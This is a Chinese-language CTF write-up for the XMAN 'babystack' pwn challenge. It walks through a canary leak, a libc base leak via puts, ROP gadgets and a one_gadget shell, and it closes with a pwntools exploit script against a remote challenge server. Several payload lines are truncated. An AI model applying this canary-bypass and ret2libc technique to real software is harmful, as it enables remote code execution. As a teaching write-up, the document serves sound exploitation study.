xman 厦门邀请赛 pwn1 babystack writeup

原创

tuck3r 于 2019-09-07 16:33:48 发布 312 收藏
分类专栏： pwn CTF 文章标签： xman pwn writeup babystack

题目描述：

这个题目针对现在的我还是有点难度的，花费了我三天的时间，最后发现原因竟是因为字符转化为整型的过程中多加了好多0.

分析思路：

1、首先查看文件的详细信息：

```
tucker@ubuntu:~/xman/pwn/pwn1$ file babystack
babystack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, f
tucker@ubuntu:~/xman/pwn/pwn1$ checksec babystack
[*] '/home/tucker/xman/pwn/pwn1/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

是一个64bit的二进制文件，没有开启PIE，但是开启了canary保护，因此我们首先想到的就是绕过canary保护。

2、使用IDA打开：

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char s; // [rsp+10h] [rbp-90h]
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x80uLL);

  while ( 1 )
  {
    puts_info();
    v3 = j_read();
    switch ( v3 )
    {
      case 2:
        puts(&s);
        break;
      case 3:
        return 0LL;
      case 1:
        read(0, &s, 0x100uLL);
        break;
      default:
        j_puts("invalid choice");
        break;
    }
    j_puts((const char *)&unk_400AE7);
  }
}
```

从中我们很容易看到并且在puts(&s)中我们也可以控制s的值，从而打印出我们需要的信息。在前面的memset中仅仅初始化了0x80个字节，但在read(0, &s, 0x100uL)读取了0x100个字节，因此存在栈溢出漏洞。

3、我们需要注意，程序为了防止canary泄露，canary的第一个字节为\x00，因此我们首先我们构造payload，使其填充s的空间，打印出canary的值。

```
def get_canary(payload):
 sh.recvuntil('>> ')
 sh.sendline('1')
 sh.sendline(payload)
 sh.recvuntil('>> ')
 sh.sendline('2')
 info = sh.recv()
 # print info[0x88]
 # print hex(u64('\x00' + info[0x89:0x90]))
 canary = u64('\x00' + info[0x89:0x90])
 return canary


payload = 'a' * 0x88
canary = get_canary(payload)
print('canary:' + str(hex(canary)))
```

4、得到canary之后，我们就可以控制程序的返回地址了，但是因为.so动态链接库在运行的过程中是动态连接的，因此首先我们需要得到libc文件的基地址，我们可以构造payload，利用puts函数打印出puts在got表中的地址，然后减去puts在libc中的偏移量，就能得到libc加载的基地址：

```
def get_puts_addr(payload):
 sh.recvuntil('>> ')
 sh.sendline('1')
 sh.sendline(payload)
 sh.recvuntil('>> ')
 sh.sendline('3')
 info = sh.recv().ljust(8, '\x00')
 return u64(info)


# canary the first byte is \x00, print will be interrupt
payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_
puts_addr = get_puts_addr(payload)
print('puts_addr:' + str(hex(puts_addr)))

libc_base = puts_addr - puts_offset
```

5、然后我们就需要gadgets了，在这里我们有很多办法。

第一种，我们可以使用：ropsearch

```
gdb-peda$ ropsearch "pop rdi" 0x400000 0x401000
Searching for ROP gadget: 'pop rdi' in range: 0x400000 - 0x401000
0x00400a93 : (b'5fc3') pop rdi; ret
gdb-peda$ ropsearch "pop rsi" 0x400000 0x401000
Searching for ROP gadget: 'pop rsi' in range: 0x400000 - 0x401000
0x00400a91 : (b'5e415fc3') pop rsi; pop r15; ret
gdb-peda$ ropsearch "pop rdi" 0x400000 0x401000
Searching for ROP gadget: 'pop rdi' in range: 0x400000 - 0x401000
0x00400a93 : (b'5fc3') pop rdi; ret
gdb-peda$
```

由此我们就可以构造处我们的payload。另外还需要注意在64bit中函数的参数传递方式：

```
当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
```

至此，我们可以写出payload：

```
def get_bash(payload):
 sh.recvuntil('>> ')
 sh.sendline('1')
 sh.sendline(payload)
 sh.recvuntil('>> ')
 sh.sendline('3')


system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
exit_addr = libc_base + exit_offset

payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(

get_bash(payload)
```

第二种，我们可以简单点，使用ropper one_gadget

```
tucker@ubuntu:~/xman/pwn/pwn1$ one_gadget ./libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

这里我们使用第一个gadget：

```
one_gadgets = 0x45216 + libc_base
log.success('one_gadgets:' + hex(one_gadgets))
# payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p6
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(one_gadgets)
get_bash(payload)
```

综上所述，完整的漏洞利用代码为：

```
# babystack.py

from pwn import *

context.log_level = 'debug'

a = ELF('./babystack')
sh = remote('111.198.29.45', '59252')
```

```
elf = ELF('./libc-2.23.so')

pop_rdi_ret = ROP(elf).rdi[0]
write_offset = elf.symbols['write']
system_offset = elf.symbols['system']
binsh_offset = elf.search('/bin/sh').next()
exit_offset = elf.symbols['exit']
puts_offset = elf.symbols['puts']

write_plt = a.plt['write']
# write_plt = 0x004006A0
write_got = a.got['write']
puts_plt = a.plt['puts']
puts_got = a.got['puts']

main_addr = 0x0400908

pop_rdi_ret_addr = 0x00400a93
pop_rsi_r15_ret = 0x00400a91
pop_rdi_ret = 0x00400a93

def get_canary(payload):
 sh.recvuntil('>> ')
 sh.sendline('1')
 sh.sendline(payload)
 sh.recvuntil('>> ')
 sh.sendline('2')
 info = sh.recv()
 # print info[0x88]
 # print hex(u64('\x00' + info[0x89:0x90]))
 canary = u64('\x00' + info[0x89:0x90])
 return canary

def get_puts_addr(payload):
 sh.recvuntil('>> ')
 sh.sendline('1')
 sh.sendline(payload)
 sh.recvuntil('>> ')
 sh.sendline('3')
 info = sh.recv().ljust(8, '\x00')
 return u64(info)


def get_bash(payload):
 sh.recvuntil('>> ')
 sh.sendline('1')
 sh.sendline(payload)
 sh.recvuntil('>> ')
 sh.sendline('3')


payload = 'a' * 0x88
canary = get_canary(payload)
print('canary:' + str(hex(canary)))

# canary the first byte is \x00, print will be interrupt
payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_
puts_addr = get_puts_addr(payload)
print('puts_addr:' + str(hex(puts_addr)))
```

```
libc_base = puts_addr - puts_offset
# libc_base = write_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
exit_addr = libc_base + exit_offset

print('write_offset:' + str(hex(write_offset)))
print('libc_base: ' + str(hex(libc_base)))
log.success('libc_base:' + hex(libc_base))

one_gadgets = 0x45216 + libc_base
log.success('one_gadgets:' + hex(one_gadgets))
# payload = 'a' * 0x88 + p64(canary) + p64(61) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p6
payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(one_gadgets)
get_bash(payload)

sh.interactive()
```

总结：

从这个题目中我学到了很多，主要有：

ropsearch "pop rdi" 0x400000 0x401000 用来在给定的地址空间中搜索gadget

one_gadget ./libc.*.so　用来搜索现成的gadget

u64中的参数的长度必须为8， 不够的话前面可以加'\x00‘，u64('\x00', + info[0x89:0x90])

u32中的参数的长度必须为4，

64bit ELF的参数传递方式 参数少于7个时，参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

canary的第一个字节为'\x00'，为了防止泄露

最后，一定要注意Python中的关于 string，bytes，hex string， int, 之间的转换问题

要使用 struct.pack 和 struct.unpack